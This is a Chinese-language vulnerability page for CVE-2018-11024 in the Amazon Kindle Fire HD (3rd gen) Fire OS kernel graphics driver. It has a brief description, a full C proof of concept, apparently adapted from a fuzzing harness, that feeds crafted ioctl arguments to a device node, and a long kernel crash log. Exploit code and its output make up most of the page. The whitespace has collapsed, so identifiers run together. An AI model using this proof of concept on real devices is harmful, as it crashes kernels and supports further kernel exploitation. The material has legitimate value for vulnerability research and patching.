（CVE-2018-11024）Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞

（CVE-2018-11024）AmazonKindleFireHD(3rd)FireOSkernel组件安全漏洞一、漏洞简介AmazonKindleFireHD（3rd）FireOS的内核组件中的内核模块/omap/drivers/misc/gcx/gcioctl/gcif.c允许攻击者通过设备/dev上ioctl的参数注入特制参数/gcioctl使用命令1077435789并导致内核崩溃。二、漏洞影响FireOS三、复现过程poc#include<stdio.h>

#include<string.h>//strlen

#include<sys/socket.h>

#include<arpa/inet.h>//inet_addr

#include<unistd.h>//write

#include<stdlib.h>

#include<sys/stat.h>

#include<sys/mman.h>

#include<fcntl.h>

#include<stdbool.h>

//Socketboilerplatecodetakenfromhere:/server-client-example-c-sockets-linux/

/*

seed,ioctl_id,num_mappings,num_blobs,dev_name_len,dev_name,map_entry_t_arr,blobs

*/

intdebug=1;

typedefstruct{

intsrc_id;

intdst_id;

intoffset;

}map_entry_t;

shorttiny_vals[18]={128,127,64,63,32,31,16,15,8,7,4,3,2,1,0,256,255,-1};

int*small_vals;

intnum_small_vals;

//populatessmall_valswhencalled

voidpopulate_arrs(inttop){

intnum=1;

intcount=0;

while(num<top){

//printf("%d\n",num);

num<<=1;

count+=2;

}

//top

count+=1;

//-1

count+=1;

num_small_vals=count;

num>>=1;

small_vals=malloc(sizeof(int)*count);

memset(small_vals,0,count);

inti=0;

while(num>1){

small_vals[i]=num;

i++;

small_vals[i]=num-1;

i++;

num>>=1;

}

small_vals[i]=0;

small_vals[i+1]=top;

small_vals[i+2]=top-1;

small_vals[i+3]=-1;

}

//generatearandomvalueofsizesizeandstoreitinelem.

//valuehasaweight%chancetobea"smallvalue"

voidgen_rand_val(intsize,char*elem,intsmall_weight){

inti;

if((rand()%100)<small_weight){

//dosmallthing

unsignedintidx=(rand()%num_small_vals);

printf("Choosing%d\n",small_vals[idx]);

switch(size){

case2:

idx=(rand()%18);

*(short*)elem=tiny_vals[idx];

break;

case4:

*(int*)elem=small_vals[idx];

break;

case8:

*(longlong*)elem=small_vals[idx];

break;

default:

printf("Damnbro.Size:%d\n",size);

exit(-1);

}

}

else{

for(i=0;i<size;i++){

elem[i]=(char)(rand()%0x100);

}

}

}

intmain(intargc,char*argv[])

{

intnum_blobs=0,num_mappings=0,i=0,dev_name_len=0,j;

unsignedintioctl_id=0;

char*dev_name;

void*tmp;

char**ptr_arr;

int*len_arr;

unsignedintseed;

intsockfd,client_sock,c,read_size;

structsockaddr_inserver,client;

intmsg_size;

void*generic_arr[264];

//maxvalforsmall_valsarray

inttop=8192;

intcnt=0;

//chancethatourgenericsarefilledwith"smallvals"

intdefault_weight=50;

populate_arrs(top);

intretest=1;

gotorerun;

sockfd=socket(AF_INET,SOCK_STREAM,0);

if(sockfd==-1)

{

printf("Couldnotcreatesocket");

}

puts("Socketcreated");

setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&(int){1},sizeof(int));

server.sin_family=AF_INET;

server.sin_addr.s_addr=INADDR_ANY;

server.sin_port=htons(atoi(argv[1]));

//Bind

if(bind(sockfd,(structsockaddr*)&server,sizeof(server))<0)

{

//printtheerrormessage

perror("bindfailed.Error");

return1;

}

puts("binddone");

listen:

//Listen

listen(sockfd,3);

puts("Waitingforincomingconnections...");

c=sizeof(structsockaddr_in);

//acceptconnectionfromanincomingclient

client_sock=accept(sockfd,(structsockaddr*)&client,(socklen_t*)&c);

if(client_sock<0)

{

perror("acceptfailed");

return1;

}

puts("Connectionaccepted");

msg_size=0;

//Receiveamessagefromclient

while((read_size=recv(client_sock,&msg_size,4,0))>0)

{

//recvtheentiremessage

char*recv_buf=calloc(msg_size,sizeof(char));

if(recv_buf==NULL){

printf("Failedtoallocaterecv_buf\n");

exit(-1);

}

intnrecvd=recv(client_sock,recv_buf,msg_size,0);

if(nrecvd!=msg_size){

printf("Errorgettingalldata!\n");

printf("nrecvd:%d\nmsg_size:%d\n",nrecvd,msg_size);

exit(-1);

}

//quicklysaveacopyofthemostrecentdata

intsavefd=open("/sdcard/saved",O_WRONLY|O_TRUNC|O_CREAT,0644);

if(savefd<0){

perror("opensaved");

exit(-1);

}

interr=write(savefd,recv_buf,msg_size);

if(err!=msg_size){

perror("writesaved");

exit(-1);

}

fsync(savefd);

close(savefd);

rerun:

if(retest){

recv_buf=calloc(msg_size,sizeof(char));

intfd=open("/sdcard/saved",O_RDONLY);

if(fd<0){

perror("open:");

exit(-1);

}

intfsize=lseek(fd,0,SEEK_END);

printf("filesize:%d\n",fsize);

lseek(fd,0,SEEK_SET);

read(fd,recv_buf,fsize);

}

char*head=recv_buf;

seed=0;

//seed,ioctl_id,num_mappings,num_blobs,dev_name_len,dev_name,map_entry_t_arr,blob_len_arr,blobs

memcpy(&seed,head,4);

head+=4;

memcpy(&ioctl_id,head,4);

head+=4;

memcpy(&num_mappings,head,4);

head+=4;

memcpy(&num_blobs,head,4);

head+=4;

memcpy(&dev_name_len,head,4);

head+=4;

//srandwithnewseed

srand(seed);

/*devname*/

dev_name=calloc(dev_name_len+1,sizeof(char));

if(dev_name==NULL){

printf("Failedtoallocatedev_name\n");

exit(-1);

}

memcpy(dev_name,head,dev_name_len);

head+=dev_name_len;

/*map*/

map_entry_t*map=calloc(num_mappings,sizeof(map_entry_t));

if(map==NULL){

printf("Failedtoallocatemap\n");

exit(-1);

}

if(num_mappings!=0){

memcpy(map,head,num_mappings*sizeof(map_entry_t));

head+=num_mappings*sizeof(map_entry_t);

}

/*blobs*/

//firstcreateanarraytostorethesizesthemselves

len_arr=calloc(num_blobs,sizeof(int));

if(len_arr==NULL){

printf("Failedtoallocatelen_arr\n");

exit(-1);

}

//we'llalsowantanarraytostoreourpointers

ptr_arr=calloc(num_blobs,sizeof(void*));

if(ptr_arr==NULL){

printf("Failedtoallocateptr_arr\n");

exit(-1);

}

//copytheblobsizesintooursize_arr

for(j=0;j<num_blobs;j++){

memcpy(&len_arr[j],head,sizeof(int));

head+=sizeof(int);

}

//we'llalsowantmemorybufsforallblobs

//nowthatwehavethesizes,allocateallthebuffersweneed

for(j=0;j<num_blobs;j++){

ptr_arr[j]=calloc(len_arr[j],sizeof(char));

printf("Sizeof(ptr_arr[%d])=%d\n",j,len_arr[j]);

printf("ptr_arr[%d]=%p\n",j,ptr_arr[j]);

//printf("justadded%ptoptr_arr\n",ptr_arr[j]);

if(ptr_arr[j]==NULL){

printf("Failedtoallocateablobstore\n");

exit(-1);

}

//mightaswellcopythememoryoverassoonasweallocatethespace

memcpy((char*)ptr_arr[j],head,len_arr[j]);

printf("ptr_arr[%d]=\n",j);

for(i=0;i<len_arr[j];i+=4){

printf("0x%08x\n",*(unsignedint*)(ptr_arr[j]+i));

}

printf("\n");

head+=len_arr[j];

}

intnum_generics=0;

//timeforpointerfixup

for(i=0;i<num_mappings;i++){

//getoutentry

map_entry_tentry=map[i];

//pulloutthestructtobefixedup

char*tmp=ptr_arr[entry.src_id];

//checkifthisisastructptrorjustagenericone

//justagenericone

if(entry.dst_id<0){

//90%chancewefixupthegeneric

if((rand()%10)>0){

intbuf_len=128;

char*tmp_generic=malloc(buf_len);

memset(tmp_generic,0,buf_len);

//95%chancewefillitwithdata

if((rand()%100)>95){

//ifdst_idis<0,it'sabsvalueistheelementsize

intsize=-1*entry.dst_id;

intweight;

//ifit'sacharorsomefloat,neverchoosea"smallval"

if(size==1||size>8)

weight=0;

else

weight=default_weight;

for(i=0;i<buf_len;i+=size){

gen_rand_val(size,&tmp_generic[i],weight);

}

}

generic_arr[num_generics]=tmp_generic;

memcpy(tmp+entry.offset,&tmp_generic,sizeof(void*));

num_generics+=1;

if(num_generics>=264){

printf("Codeabettersolutionforstoringgenerics\n");

exit(1);

}

}

}

//astructptr,sowehavethedata

else{

//1in400chancewedon'tfixup

if((rand()%400)>0){

//nowpointittothecorrectstruct/blob

//printf("placing%p,at%p\n",ptr_arr[entry.dst_id],tmp+entry.offset);

memcpy(tmp+entry.offset,&ptr_arr[entry.dst_id],sizeof(void*));

}

}

}

if(debug){

printf("ioctl_id:%d\n",ioctl_id);

printf("num_mappings:%d\n",num_mappings);

printf("num_blobs:%d\n",num_blobs);

printf("dev_name_len:%d\n",dev_name_len);

printf("dev_name:%s\n",dev_name);

printf("data[]:\n");

//printf("(0x%x)\n",*(int*)&ptr_arr[0]);

printf("(0x%p):",&ptr_arr[0]);

printf("(0x%016lx)\n",*(unsignedlongint*)ptr_arr[0]);

printf("(0x%p):",(&ptr_arr[0]+1*8));

printf("(0x%016lx)\n",*(unsignedlongint*)(ptr_arr[0]+1*8));

printf("(0x%p):",(&ptr_arr[0]+2*8));

printf("(0x%016lx)\n",*(unsignedlongint*)(ptr_arr[0]+2*8));

printf("(0x%p):",(&ptr_arr[0]+3*8));

printf("(0x%016lx)\n",*(unsignedlongint*)(ptr_arr[0]+3*8));

printf("(0x%p):",(&ptr_arr[0]+4*8));

printf("(0x%016lx)\n",*(unsignedlongint*)(ptr_arr[0]+4*8));

//printf("(0x%016lx)\n",*(unsignedlongint*)(ptr_arr[0]+5*8));

//printf("(0x%016lx)\n",*(unsignedlongint*)(ptr_arr[0]+6*8));

//printf("(0x%x)\n",(int*)ptr_arr,(int*)ptr_arr);

}

//timefortheactualioctl

//printf("Trytoopendevice%s\n",dev_name);

//fflush(stdout);

intfd=open(dev_name,O_RDONLY);

if(fd<0){

perror("open");

exit(-1);

}else{

printf("Opendevicd%ssuccessfully.\n",dev_name);

}

//fflush(stdout);

//printf("Trytocallioctl(fd=%d,ioctl_id=%d,ptr_arr=%p)\n",fd,ioctl_id,ptr_arr[0]);

fflush(stdout);

printf("%10d:",cnt++);

if((ioctl(fd,ioctl_id,ptr_arr[0]))==-1)

perror("ioctl");

else

printf("goodhit\n");

close(fd);

printf("device%sclosed\n",dev_name);

if(retest)

exit(0);

fflush(stdout);

//okaynowfreealltheshitwealloced

free(recv_buf);

free(dev_name);

if(map!=NULL)

free(map);

free(len_arr);

for(i=0;i<num_blobs;i++){

//printf("%d:free'ing%p\n",i,ptr_arr[i]);

free(ptr_arr[i]);

}

free(ptr_arr);

for(i=0;i<num_generics;i++){

free(generic_arr[i]);

}

write(client_sock,&msg_size,4);

msg_size=0;

}

if(read_size==0)

{

puts("Clientdisconnected");

fflush(stdout);

close(client_sock);

gotolisten;

}

elseif(read_size==-1)

{

perror("recvfailed");

}

return0;

}崩溃日志[144.428375]Unabletohandlekernelpagingrequestatvirtualaddressd900000c

[144.436462]pgd=dcac0000

[144.439697][d900000c]*pgd=00000000

[144.443939]Internalerror:Oops:5[#1]PREEMPTSMPARM

[144.450012]Moduleslinkedin:omaplfb(O)pvrsrvkm(O)pvr_logger(O)

[144.457672]CPU:0Tainted:GO(3.4.83-gd2afc0bae69#1)

[144.465118]PCisatc2dm_l1cache+0x30/0x100

[144.469940]LRisatdev_ioctl+0x3f0/0x10c4

[144.474670]pc:[<c03187ac>]lr:[<c031782c>]psr:a0000013

[144.474670]sp:c2d6be38ip:00000000fp:c2d6be6c

[144.487640]r10:00000000r9:d8c0cca8r8:00b8dd90

[144.493621]r7:00000000r6:c2d6bea4r5:00b8dd90r4:388b77c4

[144.500915]r3:d9000004r2:75e0c121r1:c2d6bea4r0:00000000

[144.508331]Flags:NzCvIRQsonFIQsonModeSVC_32ISAARMSegmentuser

[144.516418]Control:10c5387dTable:9cac004aDAC:00000015

[144.522827]

[144.522857]PC:0xc031872c:

[144.527954]872ce51b2034e592300ceaffffa5e30c281ce34c209de5923000e35300001affffbd

[144.538482]874ceaffffc0e51b303ce51b1040e2833001e51b2034e1530001e50b303ce2822010

[144.549163]876ce50b20341affff8ceaffff83c09dc81ce1a0c00de92ddff0e24cb004e24dd00c

[144.559844]878ce3500000e1a07002e50b0030da00000de0814200e1a06001e1a03001e3a02000

[144.570404]87ace5930008e593c004e2833010e1530004e022209c1afffff9e35209023a000003

[144.581085]87cce35700029a000022e24bd028e89daff0e59f9090e2818008e3a0a000e5963008

[144.591735]87ece5184008e353000013a050001a00000aea000010e5181004e5993024e0841001

[144.602416]880ce12fff33e5962008e2855001e596300ce1550002e08440032a000006e2572000

[144.612976]

[144.612976]LR:0xc03177ac:

[144.618072]77acebf55c15eaffff35e3053d8de3443038e15100031affff30e1a0200de3c23d7f

[144.628631]77cce3c3303fe24b0064e5933008e295203830d2200333a03000e35300001a0001a8

[144.639160]77ece1a01005e3a02038ebfcfa90e35000001a00000ee51b2030e35200010a0001cb

[144.649780]780ce35200020a0001eee35200001a000007e51b0064e3a02000e24b1060eb0003d3

[144.660369]782ce51b0064e24b1060e51b2030eb000338e3a05000eaffff11e24b1064e50b1088

[144.670776]784ce51b0088e3a01010ebfd03c1e3a03004e50b3064e5963008e295200430d22003

[144.681213]786c33a03000e35300000a0001c5e3e0500deaffff02e1a0200de3c26d7fe3c6603f

[144.691528]788ce5963008e295200830d2200333a03000e35300001a000021e24b3064e1a01005

[144.701995]

[144.701995]SP:0xc2d6bdb8:

[144.706878]bdb8c2d6be2400b8dd90c2d6bdecc2d6bdd0c00084d0c03187aca0000013ffffffff

[144.717407]bdd8c2d6be2400b8dd90c2d6be6cc2d6bdf0c06a5318c000837000000000c2d6bea4

[144.727905]bdf875e0c121d9000004388b77c400b8dd90c2d6bea40000000000b8dd90d8c0cca8

[144.738586]be1800000000c2d6be6c00000000c2d6be38c031782cc03187aca0000013ffffffff

[144.749145]be38c02ba53c575b4b92d85780000000000000b8dd900000000bdcae46c000b8dd90

[144.759796]be58d8c0cca800000000c2d6bf04c2d6be70c031782cc03187880000000100000088

[144.770355]be78000ffeff00000001c2d6bedcc2d6be90c0207454c00bd92000000027d7ce5000

[144.781005]be98c2d6bed4c2d6bea8575b4b924ccba3b547a0578f83b275c70000000000020261

[144.791687]

[144.791687]FP:0xc2d6bdec:

[144.796661]bdecc000837000000000c2d6bea475e0c121d9000004388b77c400b8dd90c2d6bea4

[144.807189]be0c0000000000b8dd90d8c0cca800000000c2d6be6c00000000c2d6be38c031782c

[144.817840]be2cc03187aca0000013ffffffffc02ba53c575b4b92d85780000000000000b8dd90

[144.828399]be4c0000000bdcae46c000b8dd90d8c0cca800000000c2d6bf04c2d6be70c031782c

[144.839080]be6cc03187880000000100000088000ffeff00000001c2d6bedcc2d6be90c0207454

[144.849761]be8cc00bd92000000027d7ce5000c2d6bed4c2d6bea8575b4b924ccba3b547a0578f

[144.860290]beac83b275c700000000000202610000000000000000000000000000000000000000

[144.870971]becc000000000000000000000000c02089fc00000000dcae46c00000000bdcae46c0

[144.881652]

[144.881652]R1:0xc2d6be24:

[144.886627]be24c2d6be38c031782cc03187aca0000013ffffffffc02ba53c575b4b92d8578000

[144.897308]be440000000000b8dd900000000bdcae46c000b8dd90d8c0cca800000000c2d6bf04

[144.907989]be64c2d6be70c031782cc03187880000000100000088000ffeff00000001c2d6bedc

[144.918518]be84c2d6be90c0207454c00bd92000000027d7ce5000c2d6bed4c2d6bea8575b4b92

[144.929199]bea44ccba3b547a0578f83b275c70000000000020261000000000000000000000000

[144.939849]bec40000000000000000000000000000000000000000c02089fc00000000dcae46c0

[144.950531]bee40000000bdcae46c000b8dd90d8c0cca800000000c2d6bf74c2d6bf08c0136044

[144.961059]bf04c03174480000000000000000000000000000000100000000dd045190dcf8c440

[144.971710]

[144.971710]R3:0xd8ffff84:

[144.976623]ff84d8ffff20d8efb00000000707020e40fbd8efb075d8ffff3cd8efb01cd8ffffa0

[144.987213]ffa4d8ffffa0d8efb028ca9788f0d8ffffb0d8ffffb000000000bf06e9c880000088

[144.997772]ffc4dd2eac00dd309540000000000000000000000000000000000000000000000000

[145.008392]ffe400000000000000000000000000000000000000000000000000000000********

[145.018798]0004****************************************************************

[145.029327]0024****************************************************************

[145.039886]0044****************************************************************

[145.050384]0064****************************************************************

[145.060913]

[145.060913]R6:0xc2d6be24:

[145.066009]be24c2d6be38c031782cc03187aca0000013ffffffffc02ba53c575b4b92d8578000

[145.076568]be440000000000b8dd900000000bdcae46c000b8dd90d8c0cca800000000c2d6bf04

[145.087219]be64c2d6be70c031782cc03187880000000100000088000ffeff00000001c2d6bedc

[145.097900]be84c2d6be90c0207454c00bd92000000027d7ce5000c2d6bed4c2d6bea8575b4b92

[145.108459]bea44ccba3b547a0578f83b275c70000000000020261000000000000000000000000

[145.118988]bec40000000000000000000000000000000000000000c02089fc00000000dcae46c0

[145.129638]bee40000000bdcae46c000b8dd90d8c0cca800000000c2d6bf74c2d6bf08c0136044

[145.140319]bf04c03174480000000000000000000000000000000100000000dd045190dcf8c440

[145.150848]

[145.150848]R9:0xd8c0cc28:

[145.155944]cc28d8c0cc28d8c0cc28000000000000000000000000c06bc674000200dac09dda58

[145.166503]cc480000000000000000d8c0cc50d8c0cc5000000000c0aa5174c0aa5174c0aa5148

[145.177062]cc685aefd94b000000000000000000000000d8c0cc809ad1f4530000000000000000

[145.187713]cc88002000000000000000000000d8c0cc94d8c0cc94dd3b56c0dd3b56c000000000

[145.198394]cca8000521a4000003e8000003e8000000000000000000000000c06b9600dd150400

[145.208923]ccc8d8c0cd80dd3e3e7000001064000000010fb000005aefd94b2d2b4d135aefd94b

[145.219573]cce82d2b4d135aefd94b2d2b4d130000000000000000000000000000000000000000

[145.230255]cd0800000000000000000000000000000000000000010000000000000000d8c0cd24

[145.240936]Processexecutor32(pid:3810,stacklimit=0xc2d6a2f8)

[145.248016]Stack:(0xc2d6be38to0xc2d6c000)

[145.253082]be20:c02ba53c575b4b92

[145.262176]be40:d85780000000000000b8dd900000000bdcae46c000b8dd90d8c0cca800000000

[145.271392]be60:c2d6bf04c2d6be70c031782cc03187880000000100000088000ffeff00000001

[145.280609]be80:c2d6bedcc2d6be90c0207454c00bd92000000027d7ce5000c2d6bed4c2d6bea8

[145.289703]bea0:575b4b924ccba3b547a0578f83b275c700000000000202610000000000000000

[145.298919]bec0:000000000000000000000000000000000000000000000000c02089fc00000000

[145.308105]bee0:dcae46c00000000bdcae46c000b8dd90d8c0cca800000000c2d6bf74c2d6bf08

[145.317352]bf00:c0136044c03174480000000000000000000000000000000100000000dd045190

[145.326416]bf20:dcf8c440c2d6bf0cc2d6a00000b8dd8000b8dd9040385d8ddcae46c00000000b

[145.335662]bf40:c2d6a00000000000c2d6bf640000000000b8dd9040385d8ddcae46c00000000b

[145.344879]bf60:c2d6a00000000000c2d6bfa4c2d6bf78c01365e0c0135fc40000000000000000

[145.354095]bf80:c0013e0800b8dd80000121c00000000000000036c0013e0800000000c2d6bfa8

[145.363159]bfa0:c0013c60c013657800b8dd80000121c00000000b40385d8d00b8dd9000b8dd90

[145.372406]bfc0:00b8dd80000121c00000000000000036000000000000000000000000bee035f4

[145.381622]bfe0:810100fcbee030f4000115780002b28c600000100000000b4d6969d903020430

[145.390686]Backtrace:

[145.393829][<c031877c>](c2dm_l1cache+0x0/0x100)from[<c031782c>](dev_ioctl+0x3f0/0x10c4)

[145.403228][<c031743c>](dev_ioctl+0x0/0x10c4)from[<c0136044>](do_vfs_ioctl+0x8c/0x5b4)

[145.412658][<c0135fb8>](do_vfs_ioctl+0x0/0x5b4)from[<c01365e0>](sys_ioctl+0x74/0x84)

[145.421874][<c013656c>](sys_ioctl+0x0/0x84)from[<c0013c60>](ret_fast_syscall+0x0/0x30)

[145.431304